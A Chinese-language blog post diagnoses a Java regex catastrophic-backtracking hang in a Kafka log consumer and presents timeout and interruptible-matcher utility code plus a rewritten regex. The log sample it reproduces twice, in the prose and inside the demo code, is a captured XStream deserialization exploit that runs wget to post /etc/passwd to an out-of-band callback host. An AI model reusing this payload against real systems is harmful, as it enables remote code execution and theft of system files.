Java處理正則匹配卡死(正則回溯問題)
背景
背景:這次問題的背景是項(xiàng)目上遇到了,在使用正則對(duì)數(shù)據(jù)進(jìn)行提取時(shí),發(fā)現(xiàn)提取不到,日志解析不成功,造成kafka消息有積壓
項(xiàng)目現(xiàn)場問題
項(xiàng)目中某一個(gè)微服務(wù)再處理正則時(shí),發(fā)現(xiàn)在處理部分日志時(shí)候,線程會(huì)卡死,線程卡死,因此kafka中的消息定會(huì)積壓,后面的日志即不會(huì)處理。關(guān)鍵代碼截圖如下:

問題跟蹤
相關(guān)正則如下:
.*<.*>[a-zA-Z]{3,}\s*.*?\s.*?\s(.*?)\s.*?\{(.*)}.*\n*
從問題表象來看,發(fā)現(xiàn)處理正則匹配這一步,線程卡死,即一直等待掛起。一開始考慮正則有問題,但是發(fā)現(xiàn),這個(gè)正則可以正常處理日志,只是當(dāng)遇到部分日志時(shí)候,會(huì)出現(xiàn)卡死現(xiàn)象,于是,覺得問題應(yīng)該出現(xiàn)在日志上。出現(xiàn)問題的日志原文如下(已屏蔽了相關(guān)敏感信息,但足夠復(fù)現(xiàn)問題):
<190>Jul 27 16:14:02 openresty nginx: {"app_no": "", "client_ip": "1.1.1.1", "referer": "", "request": "POST /rest-showcase/orders/3 HTTP/1.0", "status": 500, "bytes":576, "agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/1.1.1 Safari/537.36", "request_time": "0.001", "date": "2022-07-27T16:14:02+08:00", "request_body": "<map>\r\n ?<entry>\r\n ? ?<jdk.nashorn.internal.objects.NativeString>\r\n ? ? ?<flags>0</flags>\r\n ? ? ?<value class=\"com.sun.xml.internal.bindruntime.unmarshaller.Base64Data\">\r\n ? ? ? ?<dataHandler>\r\n ? ? ? ? ?<dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\">\r\n ? ? ? ? ? ?<is class=\"javax.crypto.CipherInputStream\">\r\n ? ? ? ? ? ? ?<cipher class=\"javax.crypto.NullCipher\">\r\n ? ? ? ? ? ? ? ?<initialized>false</initialized>\r\n ? ? ? ? ? ? ? ?<opmode>0</opmode>\r\n ? ? ? ? ? ? ? ?<serviceIterator class=\"javax.imageio.spi.FilterIterator\">\r\n ? ? ? ? ? ? ? ? ?<iter class=\"javax.imageio.spi.FilterIterator\">\r\n ? ? ? ? ? ? ? ? ? ?<iter class=\"java.util.Collections$EmptyIterator\"/>\r\n ? ? ? ? ? ? ? ? ? ?<next class=\"java.lang.ProcessBuilder\">\r\n ? ? ? ? ? ? ? ? ? ? ?<command>\r\n ? ? ? ? ? ? ? ? ? ? ? ?<string>wget</string>\r\n ? ? ? ? ? ? ? ? ? ? ? ?<string>--post-file</string>\r\n ? ? ? ? ? ? ? ? ? ? ? ?<string>/etc/passwd</string>\r\n ? ? ? ? ? ? ?<string>cbgf7fkgduie5grbenfgh138ycfnpipzw.oast.site</string>\r\n ? ? ? ? ? ? ? ? ? ? ?</command>\r\n ? ? ? ? ? ? ? ? ? ? ?<redirectErrorStream>false</redirectErrorStream>\r\n ? ? ? ? ? ? ? ? ? ?</next>\r\n ? ? ? ? ? ? ? ? ?</iter>\r\n ? ? ? ? ? ? ? ? ?<filter class=\"javax.imageio.ImageIO$ContainsFilter\">\r\n ? ? ? ? ? ? ? ? ? ?<method>\r\n ? ? ? ? ? ? ? ? ? ? ?<class>java.lang.ProcessBuilder</class>\r\n ? ? ? ? ? ? ? ? ? ? ?<name>start</name>\r\n ? ? ? ? ? ? ? ? ? ? ?<parameter-types/>\r\n ? ? ? ? ? ? ? ? ? ?</method>\r\n ? ? ? ? ? ? ? ? ? ?<name>asdasd</name>\r\n ? ? ? ? ? ? ? ? ?</filter>\r\n ? ? ? ? ? ? ? ? ?<next class=\"string\">asdasd</next>\r\n ? ? ? ? ? ? ? ?</serviceIterator>\r\n ? ? ? ? ? ? ? ?<lock/>\r\n ? ? ? ? ? ? ?</cipher>\r\n ? ? ? ? ? ? ?<input class=\"java.lang.ProcessBuilder$NullInputStream\"/>\r\n ? ? ? ? ? ? ?<ibuffer></ibuffer>\r\n ? ? ? ? ? ? ?<done>false</done>\r\n ? ? ? ? ? ? ?<ostart>0</ostart>\r\n ? ? ? ? ? ? ?<ofinish>0</ofinish>\r\n ? ? ? ? ? ? ?<closed>false</closed>\r\n ? ? ? ? ? ?</is>\r\n ? ? ? ? ? ?<consumed>false</consumed>\r\n ? ? ? ? ?</dataSource>\r\n ? ? ? ? ?<transferFlavors/>\r\n ? ? ? ?</dataHandler>\r\n ? ? ? ?<dataLen>0</dataLen>\r\n ? ? ?</value>\r\n ? ?</jdk.nashorn.internal.objects.NativeString>\r\n ? ?<jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/>\r\n ?</entry>\r\n ?<entry>\r\n ? ?<jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\r\n ? ?<jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\r\n ?</entry>\r\n</map>\r\n"}
懷疑是日志中有特殊字符造成,通過分析日志,發(fā)現(xiàn)日志并沒有問題。再度分析問題后,發(fā)現(xiàn),這一步正則匹配卡死,會(huì)影響Kafka消息處理,于是提出優(yōu)化方案,不能因?yàn)檫@些日志數(shù)據(jù),進(jìn)而影響系統(tǒng)處理日志數(shù)據(jù)。
由于這里的線程是卡死狀態(tài),一開始并不理解,通過隱喻假設(shè)這里線程大概出現(xiàn)了兩種問題:
線程死循環(huán)
線程資源被鎖,一直掛起等待
通過隱喻問題,然后在尋找解決方案,這里提出了兩種優(yōu)化方案:
啟動(dòng)監(jiān)控線程,這里在處理正則時(shí),如果匹配成功則會(huì)返回處理成功的標(biāo)志,而監(jiān)控線程會(huì)一直監(jiān)控標(biāo)志,如果在長時(shí)間等待后,發(fā)現(xiàn)標(biāo)志始終是處理不成功,那么將直接使用stop停止正則處理線程。然后監(jiān)控線程結(jié)束。這樣下一條日志消息就會(huì)繼續(xù)消費(fèi)。
優(yōu)點(diǎn): 每次消息處理正則時(shí),都會(huì)進(jìn)行監(jiān)控,甚至,這里還能使用監(jiān)控線程,將標(biāo)志位進(jìn)行擴(kuò)展,檢測主線程處理日志,每一步的耗時(shí),從而對(duì)程序做出更進(jìn)一步的優(yōu)化。
缺點(diǎn): 每處理一條日志,就意味著除了消費(fèi)主線程外,都要伴隨著一個(gè)監(jiān)控線程對(duì)其進(jìn)行監(jiān)控,如果使用線程池,則需要考慮線程上下文的問題,需要考慮其性能。其次,再關(guān)閉主線程時(shí),使用了stop方法,這在JDK中已經(jīng)不推薦使用。(為什么要使用stop?,因?yàn)橹骶€程被卡死,已經(jīng)沒有辦法使用isInterrupted來判斷主線程是否業(yè)務(wù)中斷。) ,在demo的編寫測試時(shí),關(guān)閉主線程使用了ThreadGroup特性,這里并沒有測試Kafka的消費(fèi)線程創(chuàng)建源碼是否有使用ThreadGroup特性,如果有,那么這里監(jiān)控線程則不能使用Thread.enumerate(ret)方法。
這里也可以參考一下JDK的源碼注釋:

使用子線程處理正則匹配,在主線程中使用FutureTask獲取子線程處理結(jié)果,一旦超時(shí),那么使用interrupt將子線程設(shè)置中斷,子線程遍歷匹配方法也將根據(jù)isInterrupted()判斷是否中斷而中斷,這里我已經(jīng)封裝好了工具類供大家使用,有興趣可以參看具體代碼實(shí)現(xiàn)。
優(yōu)點(diǎn): 正則處理使用了子線程,主線程獲取等待匹配結(jié)果,如果超時(shí)則日志記錄正則和日志數(shù)據(jù),并返回null,后續(xù)處理程序會(huì)拋出異常,然后線程結(jié)束,然后會(huì)繼續(xù)消費(fèi)Kafka消息。
缺點(diǎn): 每處理一條日志,除了主線程,就需要單獨(dú)開啟一個(gè)正則處理線程,這里需要考慮性能。
在處理完上述問題后,考慮后續(xù)服務(wù)的處理日志可以使用線程池的方式,來提升日志處理的性能。但是一旦使用線程池,若遇到上述問題。這里我們分析:
如果使用了線程池,假設(shè)遇到正則卡死問題,那么線程池中的線程會(huì)被耗盡,并且線程池中所有的線程都會(huì)在處理正則這一步卡死,Kafka中的消息會(huì)進(jìn)入線程池的任務(wù)隊(duì)列,由于線程池的特性,如果沒有詳細(xì)配置,那么最終就會(huì)出現(xiàn)日志消息創(chuàng)建任務(wù)丟棄的異常。
現(xiàn)在,我們解決掉了正則卡死的問題,那么,這里就可以使用線程池來處理消息,如果正則卡死,那么子線程會(huì)中斷,同時(shí)主線程拋異常,不會(huì)影響會(huì)有消息的處理。
至此,問題雖然得到了解決,但是產(chǎn)生問題的原因卻沒有一個(gè)較好的結(jié)論,本著編程應(yīng)該知其然更知其所以然的想法,繼續(xù)對(duì)問題追根刨底
在查閱資料解決問題時(shí),發(fā)現(xiàn)一篇文章,2007年阿里也曾出現(xiàn)了類似問題,阿里L(fēng)azada賣家中心做一個(gè)自助注冊的項(xiàng)目,上線后,發(fā)現(xiàn)CPU有時(shí)會(huì)飆到100%的情況。有興趣的可以參看原文本文末節(jié)的參考文章。
閱讀完這篇博客后,簡直是醍醐灌頂,這不正是我們項(xiàng)目所遇到的問題,于是乎,開始深剖析正則處理和正則回溯問題。最后發(fā)現(xiàn)將正則修改為如下:,就可以正常匹配這種日志。
<.*?>[a-zA-Z]{3,}?\s[a-zA-Z0-9]{1,}\s[a-zA-Z0-9:]{1,}\s([a-zA-Z0-9]{1,})\s[a-zA-Z0-9]{1,}:\s(\{.*\})
到這里,才發(fā)現(xiàn)項(xiàng)目問題的根本是正則問題,并非日志數(shù)據(jù)問題。簡單描述就是:正則處理,JAVA在處理正則時(shí)候,使用的正則引擎是NFA(不確定型有窮自動(dòng)機(jī)),這種引擎會(huì)在貪婪模式下發(fā)生正則回溯問題,一旦字符串的數(shù)量過于龐大,那么遇見正則回溯后,正則匹配的計(jì)算將是指數(shù)級(jí)別的,這對(duì)CPU來說是災(zāi)難級(jí)的。所以項(xiàng)目中,正則匹配一行代碼會(huì)卡死,其實(shí)并不是死循環(huán),也不是線程掛起,而是線程一直在計(jì)算。
怎么優(yōu)化?
優(yōu)化方案
即然發(fā)現(xiàn)了問題所在,那么最優(yōu)的方案就是當(dāng)即處理項(xiàng)目中有問題的正則。同時(shí)在項(xiàng)目中使用正則的地方,如果數(shù)據(jù)是不確定的外部數(shù)據(jù),那么都建議使用正則工具類來進(jìn)行匹配獲取,雖然會(huì)開辟子線程,但是避免了線程卡死,CPU飆升的問題。同時(shí)監(jiān)控線程做保留方案,在日后的使用中,如果需要用到,可以用來做性能分析。
處理正則問題
再對(duì)有問題的正則使用regex debug進(jìn)行分析后,發(fā)現(xiàn)正則確實(shí)存在回溯問題

重新對(duì)日志原文分析,使用以下正則即可匹配成功:
<.*?>[a-zA-Z]{3,}?\s[a-zA-Z0-9]{1,}\s[a-zA-Z0-9:]{1,}\s([a-zA-Z0-9]{1,})\s[a-zA-Z0-9]{1,}:\s(\{.*\})
使用子線程來匹配正則實(shí)現(xiàn)
這里封裝了正則處理工具類,具體實(shí)現(xiàn)代碼參考
RegexUtil.java
import lombok.extern.slf4j.Slf4j;import java.util.concurrent.*;import java.util.regex.Matcher;import java.util.regex.Pattern;/**
* 處理正則回溯引起超時(shí)問題
*
* @author cg
*/public class RegexUtil { ? ?/**
? ? * 使用單獨(dú)的線程來進(jìn)行正則處理,避免出現(xiàn)超時(shí)卡死的情況
? ? * @return 返回正則匹配結(jié)果, 當(dāng)匹配失敗或匹配超時(shí),返回null
? ? */
? ?public static Matcher match(String text, String regx, long timeout, TimeUnit unit) {
? ? ? ?Callable<Matcher> regexMatchCallable = () -> { ? ? ? ? ? ?Pattern compile = Pattern.compile(regx); ? ? ? ? ? ?Matcher matcher = compile.matcher(new InterruptCharSequence(text)); ? ? ? ? ? ?if (matcher.matches()) { ? ? ? ? ? ? ? ?return matcher;
? ? ? ? ? ?}else {
? ? ? ? ? ? ? ?log.info("正則匹配失敗,日志原文為 {}", ?text); ? ? ? ? ? ? ? ?return null;
? ? ? ? ? ?}
? ? ? ?};
? ? ? ?FutureTask<Matcher> futureTask = new FutureTask<>(regexMatchCallable); ? ? ? ?Thread regexMatchThread = new Thread(futureTask);
? ? ? ?regexMatchThread.start(); ? ? ? ?Matcher matcher = null; ? ? ? ?try {
? ? ? ? ? ?matcher = ?futureTask.get(timeout, unit);
? ? ? ?} catch (TimeoutException e) {
? ? ? ? ? ?log.warn("正則處理超時(shí),日志 {}", ?text);
? ? ? ? ? ?regexMatchThread.interrupt();
? ? ? ?} catch (ExecutionException | InterruptedException e) {
? ? ? ? ? ?log.error("獲取線程執(zhí)行結(jié)果異常", e);
? ? ? ? ? ?regexMatchThread.interrupt();
? ? ? ?} ? ? ? ?return matcher;
? ?}
}
InterruptCharSequence.java
import lombok.extern.slf4j.Slf4j;/**
* @author cg
*/public class InterruptCharSequence implements CharSequence {
? ? ? ?CharSequence inner; ? ? ? ?public InterruptCharSequence(CharSequence inner) { ? ? ? ? ? ?super(); ? ? ? ? ? ?this.inner = inner;
? ? ? ?} ? ? ? ?
? ? ? ?public char charAt(int index) { ? ? ? ? ? ?if (Thread.currentThread().isInterrupted()) {
? ? ? ? ? ? ? ?log.info("InterruptCharSequence is Interrupted, Please check Trigger Thread!");
? ? ? ? ? ? ? ?log.info("regex error log is :{}", this); ? ? ? ? ? ? ? ?throw new RuntimeException("Interrupted!");
? ? ? ? ? ?} ? ? ? ? ? ?return inner.charAt(index);
? ? ? ?} ? ? ? ?
? ? ? ?public int length() { ? ? ? ? ? ?return inner.length();
? ? ? ?} ? ? ? ?
? ? ? ?public CharSequence subSequence(int start,int end) { ? ? ? ? ? ?return new InterruptCharSequence(inner.subSequence(start, end));
? ? ? ?} ? ? ? ?
? ? ? ?public String toString() { ? ? ? ? ? ?return inner.toString();
? ? ? ?}
}
監(jiān)控線程實(shí)現(xiàn)
這里代碼封裝了簡單的demo,具體代碼實(shí)現(xiàn)參考:
import java.util.concurrent.atomic.AtomicBoolean;public class TestMonitor extends Thread { ? ?private String name; ? ?private AtomicBoolean atomicBoolean; ? ?public TestMonitor(String name, AtomicBoolean isBlockThreadRegx) {
? ? ? ?this.name = name;
? ? ? ?this.atomicBoolean = isBlockThreadRegx;
? ?} ? ?
? ?public void run() { ? ? ? ?//啟動(dòng)監(jiān)控線程
? ? ? ?//超時(shí)時(shí)間4s
? ? ? ?try { ? ? ? ? ? ?Thread.sleep(10000);
? ? ? ?} catch (InterruptedException e) {
? ? ? ? ? ?e.printStackTrace();
? ? ? ?} ? ? ? ?//根據(jù)線程名稱結(jié)束線程
? ? ? ?int i = Thread.activeCount(); ? ? ? ?Thread ret[] = new Thread[i]; ? ? ? ?Thread.enumerate(ret); ? ? ? ?for (Thread thread : ret) { ? ? ? ? ? ?if (thread.getName().equalsIgnoreCase(name) && atomicBoolean.get()) {
? ? ? ? ? ? ? ?thread.stop();
? ? ? ? ? ?}
? ? ? ?}
? ?}
}import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.ArrayUtils;import java.util.Arrays;import java.util.Objects;import java.util.concurrent.atomic.AtomicBoolean;import java.util.regex.Matcher;import java.util.regex.Pattern;public class TestPattern { ? ?public static void main(String[] args) throws Exception { ? ? ? ?String name = Thread.currentThread().getName(); ? ? ? ?//是否是阻塞線程正則
? ? ? ?AtomicBoolean isBlockThreadRegx = new AtomicBoolean(true); ? ? ? ?//啟動(dòng)監(jiān)控線程
? ? ? ?TestMonitor testMonitor = new TestMonitor(name, isBlockThreadRegx);
? ? ? ?testMonitor.start(); ? ? ? ?System.out.println("開始執(zhí)行MainThread"); ? ? ? ?final boolean matcher = getMatcher();
? ? ? ?isBlockThreadRegx.set(false); ? ? ? ?System.out.println(matcher); ? ? ? ?System.out.println("MainThread執(zhí)行結(jié)束");
? ?} ? ?private static boolean getMatcher() { ? ? ? ?String pattern = ".*<.*>[a-zA-Z]{3,}\\s*.*?\\s.*?\\s(.*?)\\s.*?\\{(.*)}.*\\n*"; ? ?String text = "<190>Jul 27 16:14:02 openresty nginx: {\"app_no\": \"\", \"client_ip\": \"1.1.1.1\", \"referer\": \"\", \"request\": \"POST /struts2-rest-showcase/orders/3 HTTP/1.0\", \"status\": 500, \"bytes\":576, \"agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/1.1.1.1 Safari/537.36\", \"request_time\": \"0.001\", \"date\": \"2022-07-27T16:14:02+08:00\", request_body\": \"<map>\\r\\n ?<entry>\\r\\n ? ?<jdk.nashorn.internal.objects.NativeString>\\r\\n ? ? ?<flags>0</flags>\\r\\n ? ? ?<value class=\\\"com.sun.xml.internal.bind.v2.runtime.Base64Data\\\">\\r\\n ? ? ? ?<dataHandler>\\r\\n ? ? ? ? ?<dataSource class=\\\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\\\">\\r\\n ? ? ? ? ? ?<is class=\\\"javax.crypto.CipherInputStream\\\">\\r\\n ? ? ? ? ? ? ?<cipher class=\\\"javax.crypto.NullCipher\\\">\\r\\n ? ? ? ? ? ? ? ?<initialized>false</initialized>\\r\\n ? ? ? ? ? ? ? ?<opmode>0</opmode>\\r\\n ? ? ? ? ? ? ? ?<serviceIterator class=\\\"javax.imageio.spi.FilterIterator\\\">\\r\\n ? ? ? ? ? ? ? ? ?<iter class=\\\"javax.imageio.spi.FilterIterator\\\">\\r\\n ? ? ? ? ? ? ? ? ? ?<iter class=\\\"java.util.Collections$EmptyIterator\\\"/>\\r\\n ? ? ? ? ? ? ? ? ? ?<next class=\\\"java.lang.ProcessBuilder\\\">\\r\\n ? ? ? ? ? ? ? ? ? ? ?<command>\\r\\n ? ? ? ? ? ? ? ? ? ? ? ?<string>wget</string>\\r\\n ? ? ? ? ? ? ? ? ? ? ? ?<string>--post-file</string>\\r\\n ? ? ? ? ? ? ? ? ? ? ? ?<string>/etc/passwd</string>\\r\\n ? ? ? ? ? ? ?<string>cbgf7fkgduie5grbenfgh138ycfnpipzw.oast.site</string>\\r\\n ? ? ? ? ? ? ? ? ? ? ?</command>\\r\\n ? ? ? ? ? ? ? ? ? ? ?<redirectErrorStream>false</redirectErrorStream>\\r\\n ? ? ? ? ? ? ? ? ? ?</next>\\r\\n ? ? ? ? ? ? ? ? ?</iter>\\r\\n ? ? ? ? ? ? ? ? ?<filter class=\\\"javax.imageio.ImageIO$ContainsFilter\\\">\\r\\n ? ? ? ? ? ? ? ? ? ?<method>\\r\\n ? ? ? ? ? ? ? ? ? ? ?<class>java.lang.ProcessBuilder</class>\\r\\n ? ? ? ? ? ? ? ? ? ? ?<name>start</name>\\r\\n ? ? ? ? ? ? ? ? ? ? ?<parameter-types/>\\r\\n ? ? ? ? ? ? ? ? ? ?</method>\\r\\n ? ? ? ? ? ? ? ? ? ?<name>asdasd</name>\\r\\n ? ? ? ? ? ? ? ? ?</filter>\\r\\n ? ? ? ? ? ? ? ? ?<next class=\\\"string\\\">asdasd</next>\\r\\n ? ? ? ? ? ? ? ?</serviceIterator>\\r\\n ? ? ? ? ? ? ? ?<lock/>\\r\\n ? ? ? ? ? ? ?</cipher>\\r\\n ? ? ? ? ? ? ?<input class=\\\"java.lang.ProcessBuilder$NullInputStream\\\"/>\\r\\n ? ? ? ? ? ? ?<ibuffer></ibuffer>\\r\\n ? ? ? ? ? ? ?<done>false</done>\\r\\n ? ? ? ? ? ? ?<ostart>0</ostart>\\r\\n ? ? ? ? ? ? ?<ofinish>0</ofinish>\\r\\n ? ? ? ? ? ? ?<closed>false</closed>\\r\\n ? ? ? ? ? ?</is>\\r\\n ? ? ? ? ? ?<consumed>false</consumed>\\r\\n ? ? ? ? ?</dataSource>\\r\\n ? ? ? ? ?<transferFlavors/>\\r\\n ? ? ? ?</dataHandler>\\r\\n ? ? ? ?<dataLen>0</dataLen>\\r\\n ? ? ?</value>\\r\\n ? ?</jdk.nashorn.internal.objects.NativeString>\\r\\n ? ?<jdk.nashorn.internal.objects.NativeString reference=\\\"../jdk.nashorn.internal.objects.NativeString\\\"/>\\r\\n ?</entry>\\r\\n ?<entry>\\r\\n ? ?<jdk.nashorn.internal.objects.NativeString reference=\\\"../../entry/jdk.nashorn.internal.objects.NativeString\\\"/>\\r\\n ? ?<jdk.nashorn.internal.objects.NativeString reference=\\\"../../entry/jdk.nashorn.internal.objects.NativeString\\\"/>\\r\\n ?</entry>\\r\\n</map>\\r\\n\"}\n"; ? ? ? ?final Pattern compile = Pattern.compile(pattern); ? ? ? ?final Matcher matcher = compile.matcher(text); ? ? ? ?return matcher.matches();
? ?}
}
最優(yōu)選擇方案
即然發(fā)現(xiàn)了正則的問題,最好的方式就是從根源上解決問題,編寫正則的時(shí)候盡量使用非貪婪模式,正則測試推薦去Regex Debug測試,或者使用RegexBuddy測試 。但終歸而言,這是一種編碼約定,考慮到約定破壞的場景,最好在編碼中在使用工具類來匹配正則,也可以記錄有問題的日志和正則